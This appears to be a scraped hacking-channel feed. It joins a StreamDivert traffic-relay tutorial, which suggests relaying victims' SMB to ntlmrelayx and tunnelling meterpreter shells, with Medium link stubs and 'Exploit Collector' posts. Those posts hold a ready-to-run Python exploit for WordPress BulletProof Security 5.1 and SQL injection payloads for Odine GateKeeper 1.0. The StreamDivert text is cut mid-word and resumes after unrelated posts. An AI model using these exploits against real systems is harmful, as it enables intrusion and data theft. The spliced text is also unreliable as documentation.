Kali Linux Tutorials
StreamDivert : Redirecting (Specific) TCP, UDP And ICMP Traffic To Another Destination

StreamDivert is a tool to man-in-the-middle or relay in and outgoing network connections on a system. It has the ability to, for example, relay all incoming SMB connections to port 445 to another server, or only relay specific incoming SMB connections from a specific set of source IP’s to another server. Summed up, StreamDivert is able to:

* Relay all incoming connections to a specific port to another destination.
* Relay incoming connections from a specific source IP to a port to another destination.
* Relay incoming connections to a SOCKS(4/5) server.
* Relay all outgoing connections to a specific port to another destination.
* Relay outgoing connections to a specific IP and port to another destination.
* Handle TCP, UDP and ICMP traffic over IPv4 and IPv6.
* Force redirected packets over a specific network interface. Download Binaries

Pre-compiled binaries for StreamDivert can be downloaded here. Usage

How do you use StreamDivert? Run the the tool with administrative privileges:

streamdivert.exe config_file [-f] [-v]

The config file contains entries for streams you want to have diverted. En example config file:

//Divert all inbound TCP connections to port 445 (SMB) coming from 10.0.1.50 to 10.0.1.49 port 445
tcp < 445 10.0.1.50 -> 10.0.1.49 445
//Divert all inbound TCP connections to port 445 (SMB) coming from 10.0.1.51 to a local SOCKS server
tcp < 445 10.0.1.51 -> socks
//Divert all inbound TCP connections to port 445 (SMB) coming from fe80::f477:846a:775d:d37 to fe80::20c:29ff:fe6f:88ff port 445
tcp < 445 fe80::f477:846a:775d:d37 -> fe80::20c:29ff:fe6f:88ff 445
//Divert all inbound TCP connections to port 445 (SMB) to 10.0.1.48 port 445
tcp < 445 0.0.0.0 -> 10.0.1.48 445
//Divert all inbound UDP connections to to port 53 (DNS) to 10.0.1.49 port 53
udp < 53 0.0.0.0 -> 10.0.1.49 53
//Divert all inbound ICMP packets coming from 10.0.1.50 to 10.0.1.49
icmp < 10.0.1.50 -> 10.0.1.49
//Divert all outbound TCP connections to 10.0.1.50, port 80 to 10.0.1.49 port 8080
tcp > 10.0.1.50 80 -> 10.0.1.49 8080
//Send all packets going to 10.0.1.50 port 80 and prefer interface 9 to send them. If the interface does not exist or is not up, the packets are send from the default interface.
tcp > 10.0.1.50 80 -> 10.0.1.50 80 interface 9
//Force all packets going to 10.0.1.50 port 80 over interface 9, or drop the packets if the interface does not exist or is not up.
tcp > 10.0.1.50 80 -> 10.0.1.50 80 force interface 9
//Divert all outbound UDP connection to port 53 (DNS) to 10.0.1.49 port 53
udp > 0.0.0.0 53 -> 10.0.1.49 53

The [-f] flag, when present, will modify the Windows Firewall to add an exception for the application to properly redirect incoming traffic to another port. The [-v] flag control the logging verbosity. When provided, StreamDivert will log details about redirected packets and streams. Some Use Cases

* Diverting outbound C&C traffic to a local socket for dynamic malware analysis.
* Diverting inbound SMB connections of a compromised host to Responder/ ntlmrelayx (usefull in penetration tests).
* Routing traffic over reserved ports. Usefull when a network firewall is in between. For example…
* Routing a meterpreter shell over port 445.
* Running a SOCKS server on port 3389.

* … Help! My packets/ connections are not correctly diverted!

One thing to keep in mind when configuring diverted connections is that you don’t have conflicting diverted streams. Given the following example config file:

icmp < 0.0.0.0 -> 10.0.1.50
icmp > 10.0.1.49 -> 10.0.1.48

Those two diverted streams will conflict with eachother, as packets for the first diverted stream will also be picked up by the second packet ‘diverter’. Generally you will only run into these issues with UDP and IC[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Cloudquery : Transforms Your Cloud Infrastructure Into SQL Database For Easy Monitoring, Governance And Security

___________________________
@hacking_Attack
@Hacking_Video

MP and using wildcards.

Also note that diverting an IPv4 to an IPv6 address and vice versa is not supported for UDP and ICMP traffic. Download

___________________________
@hacking_Attack
@Hacking_Video

App Bug Hunting……A Goldmine Skill?
https://medium.com/@putrevuabhinav/app-bug-hunting-a-goldmine-skill-a50ce7b5baa9?source=rss------bug_bounty-5

Every person in today's world uses Mobile. Everyone uses mobile applications. Everyone stores their personal information on mobiles and…Continue reading on Medium » (https://medium.com/@putrevuabhinav/app-bug-hunting-a-goldmine-skill-a50ce7b5baa9?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe-Madness

https://cdn-images-1.medium.com/max/1920/0*F1pK6udakF1IdSff.jpg
We’re All Mad Here. For solving this room actually you’ve to think like MAD😆

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hub Weekly Digest: Microsoft Warns of Phishing, Houston Port Targeted, Colonial Pipeline…

https://cdn-images-1.medium.com/max/2600/1*JO-Mf55PiRod_fCZLoeHcg.jpeg
HUB Security’s weekly digest covers top stories happening around the world related to cyber attacks, threats and global cybersecurity news.

Continue reading on HUB Security »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Who Am I [v2.0]

Well, Since We got some Attention from The Community (Love u People) I will do this AGAIN but with a bit more insight :)

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
SQL Injection dan Pencegahannya

Apa itu SQL Injection? Serangan SQL injection atau Injeksi SQL merupakan teknik serangan injeksi kode yang memanfaatkan celah keamanan…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Sketch2code

https://cdn-images-1.medium.com/max/1900/1*CiRnUniVjg_iJJjKAnxe-w.png
Sketch2Code is a web based solution that uses machine learning to transform your handwritten notes from an image to a working HTML markup…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Office OneNote 2007 Remote Code Execution

https://3.bp.blogspot.com/-XNOhyhmygqg/WWlvTLzMLRI/AAAAAAAAINo/1vKZqL-UEc0yrpuP08mTX_Jxjx_k32PvQCLcBGAs/s1600/h41.png
Microsoft Office OneNote 2007 proof of concept exploit for a OnePKG file parsing remote code execution vulnerability. Upon decompressing files from .ONEPKG archives (using MS CAB format), a failure to sanitize file paths and file contents allows for arbitrary file planting in arbitrary locations on the OS, including the startup folder.

MD5 | 66b82cd487db6f570ee8d45f756cf2ca

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress BulletProof Security 5.1 Information Disclosure

https://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png
WordPress BulletProof Security plugin version 5.1 suffers from an information disclosure vulnerability.

MD5 | 8921fb148d8d2f34f31511cf73eba22e

Download
# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure
# Date 04.10.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://forum.ait-pro.com/read-me-first/
# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip
# Version: <=
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-39327
# CWE: CWE-200
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md
'''
Description:
The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible
~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files.
This affects versions up to, and including, 5.1.
'''

'''
'Banner:
'''
banner = '''
______ _______ ____ ___ ____ _ _____ ___ _________ _____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ // _ \___ /___ \___ |
| | \ \ / /| _| _____ __) | | | |__) | |_____ |_ \ (_) ||_ \ __) | / /
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____|__) \__, |__) / __/ / /
\____| \_/ |_____| |_____|\___/_____|_| |____/ /_/____/_____/_/

* Sensitive information disclosure
@ Author: Ron Jost
'''
print(banner)
import argparse
import requests

'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
print('')
print('[*] Starting Exploit:')
print('')

paths = ["/wp-content/bps-backup/logs/db_backup_log.txt", "/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt"]

# Exploit
for pathadd in paths:
x = requests.get("http://" + target_ip + ':' + target_port + '/' + wp_path + pathadd)
print(x.text)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Odine Solutions GateKeeper 1.0 SQL Injection

https://4.bp.blogspot.com/-mbNmyGHywr4/WWlve-suujI/AAAAAAAAIP4/9elXOC6IHOcW_3VzQDLCix2bjP9zh38ZgCLcBGAs/s1600/h83.png
Odine Solutions GateKeeper version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | e6c999b2b236d580398e8cb7ace126e7

Download
# Exploit Title: Odine Solutions GateKeeper 1.0 - 'trafficCycle' SQL Injection
# Date: 05.10.2021
# Exploit Author: Emel Basayar
# Vendor: Odine Solutions - odinesolutions.com
# Vendor Homepage: https://odinesolutions.com/software/gatekeeper-simbox-antifraud/
# Version: 1.0
# Category: Webapps
# Tested on: Ubuntu 18 TLS
# Description : The vulnerability allows an attacker to inject sql commands from search section with 'trafficCycle' parameter.
# This vulnerability was discovered during the penetration testing and the vulnerability was fixed.
====================================================

# PoC : SQLi :

GET /rass/api/v1/trafficCycle/98 HTTP/1.1
Host: 192.168.1.25
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Bearer xm38HruG-htx0jNuM-l9UBCkoz-G7RigZvx
Origin: https://192.168.1.25
Connection: close
Referer: https://192.168.1.25

Parameter: #1* (URI)
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: https://192.168.1.25:443/rass/api/v1/trafficCycle/98' AND 5042=CAST((CHR(113)||CHR(118)||CHR(112)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (5042=5042) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(98)||CHR(120)||CHR(113)) AS NUMERIC)-- yrdB

Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: https://192.168.1.25:443/rass/api/v1/trafficCycle/98';SELECT PG_SLEEP(5)--

Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: https://192.168.1.25:443/rass/api/v1/trafficCycle/98' AND 9405=(SELECT 9405 FROM PG_SLEEP(5))-- PasC
---
web application technology: Nginx
back-end DBMS: PostgreSQL

====================================================

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video